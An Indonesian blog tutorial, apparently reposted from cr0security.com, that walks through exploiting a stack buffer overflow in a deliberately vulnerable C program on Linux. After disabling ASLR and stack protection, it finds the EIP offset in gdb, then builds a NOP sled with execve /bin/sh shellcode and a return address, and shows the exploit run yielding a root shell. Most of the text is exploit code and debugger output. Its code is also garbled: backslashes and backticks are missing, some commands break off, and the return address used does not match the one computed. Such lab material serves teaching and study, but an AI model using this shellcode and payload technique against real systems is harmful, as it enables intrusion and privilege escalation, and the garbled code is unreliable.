Friday , March 29 2024
Home / White Paper / linux-buffer-overflow-tutorial

linux-buffer-overflow-tutorial

Pendahuluan

Setelah saya banyak melakukan penelitian pada kernel linux yang baru – baru ini ,
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama .
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan “apa itu sebenarnya buffer overflow ?”
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini.
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.

Konsep Exploitasi buffer overflow

ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow.

[sociallocker][c]———————bof.c————————–
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}

———————EOF—————————–[/c]

kita save dengan nama bof.c .
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input.
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.

[text]root@bt:~# cat /proc/sys/kernel/randomize_va_space
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space[/text]

sekarang saatnya kita meng – compile program tersebut.
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya

[text]root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
root@bt:~# ./bof perl -e 'print "A" x 400'
root@bt:~# ./bof perl -e 'print "A" x 403'[/text]

seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal.
dimana kita mengkopikan huruf “A” 400 – 403 bytes kedalam buffer.

[text]root@bt:~# ./bof perl -e 'print "A" x 404'
Segmentation fault[/text]

disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.

EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.

perhatikan pada experiment berikut.

[text]root@bt:~# gdb -q bof
(gdb) list
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}
(gdb) run perl -e 'print "A" x 404'
Starting program: /root/bof perl -e 'print "A" x 404'

Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run perl -e 'print "A" x 405'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof perl -e 'print "A" x 405'

Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)[/text]

hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string

[text](gdb) run perl -e 'print "A" x 406'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof perl -e 'print "A" x 406'

Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)[/text]

ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip.
perhatikan -> 0xb7004141
disitu ada 4141 , 41 adalah huruf “A” dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.

[text](gdb) run perl -e 'print "A" x 407'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof perl -e 'print "A" x 407'

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)[/text]

sedikit lagi…

[text](gdb) run perl -e 'print "A" x 408'
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof perl -e 'print "A" x 408'

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)[/text]

disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0x41414141
kita sudah berhasil mengoverwritenya dengan huruf “A” dengan panjang string 408.

[text](gdb) i r
eax 0x0 0
ecx 0xbffff0b7 -1073745737
edx 0x199 409
ebx 0xb7fc9ff4 -1208180748
esp 0xbffff250 0xbffff250
ebp 0x41414141 0x41414141
esi 0x8048400 134513664
edi 0x8048310 134513424
eip 0x41414141 0x41414141 <– ter overwrite !!
eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)[/text]

sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).

[c](gdb) list 1
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[400];
strcpy(buffer, argv[1]);

return 0;
}
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb)[/c]

perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.

[text](gdb) run test to see where esp is
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof test to see where esp is

Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) i r esp
esp 0xbffff210 0xbffff210
(gdb)[/text]

esp terletak pada address 0xbffff210

Attack vector

ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.

NOP

pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah “90” atau “x90” dalam bentuk shellcode.

NOPSLED

kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti perl -e 'print "x90" x 40'. maka kita akan mendapatkan “x90” sampai 40 bytes (40 kali).

PAYLOAD

ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya

selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.

[text]root@bt:~# printf "%xn" $((0xbffff210-300))
bffff0e4[/text]

alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> xe4xf0xffxbf

sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.

[text]root@bt:~# print "%dn" $((408 -[/text]

kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes

[text]root@bt:~# print "%dn" $((408 – 200[/text]

shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :

“xb0x17x31xdbxcdx80xb0x0bx99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80”

shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.

[text]root@bt:~# printf "%dn" $((408 – 200 – 28))
180[/text]

jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.

[text]root@bt:~# printf "%dn" $((180/4))
45[/text]

ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.

maka payload kita akan seperti berikut :

NOPSLED + SHELLCODE + ESP

[text]perl -e 'print "x90" x 200 . "xb0x17x31xdbxcdx80xb0x0bx99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80" . "x04xf1xffxbf" x 45'[/text]

sekarang saatnya kita run paload kita tersebut langsung saja di debugger.

[text](gdb) run perl -e 'print "x90" x 200 . "xb0x17x31xdbxcdx80xb0x0bx99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80" . "x04xf1xffxbf" x 45'
Starting program: /root/bof perl -e 'print "x90" x 200 . "xb0x17x31xdbxcdx80xb0x0bx99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80" . "x04xf1xffxbf" x 45'

Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# echo WIN.
WIN.
sh-3.2# exit

Program exited normally.
(gdb) quit[/text] [/sociallocker] selamat ! anda telah sukses mengexploitasi buffer overflow !

Original post from cr0security.com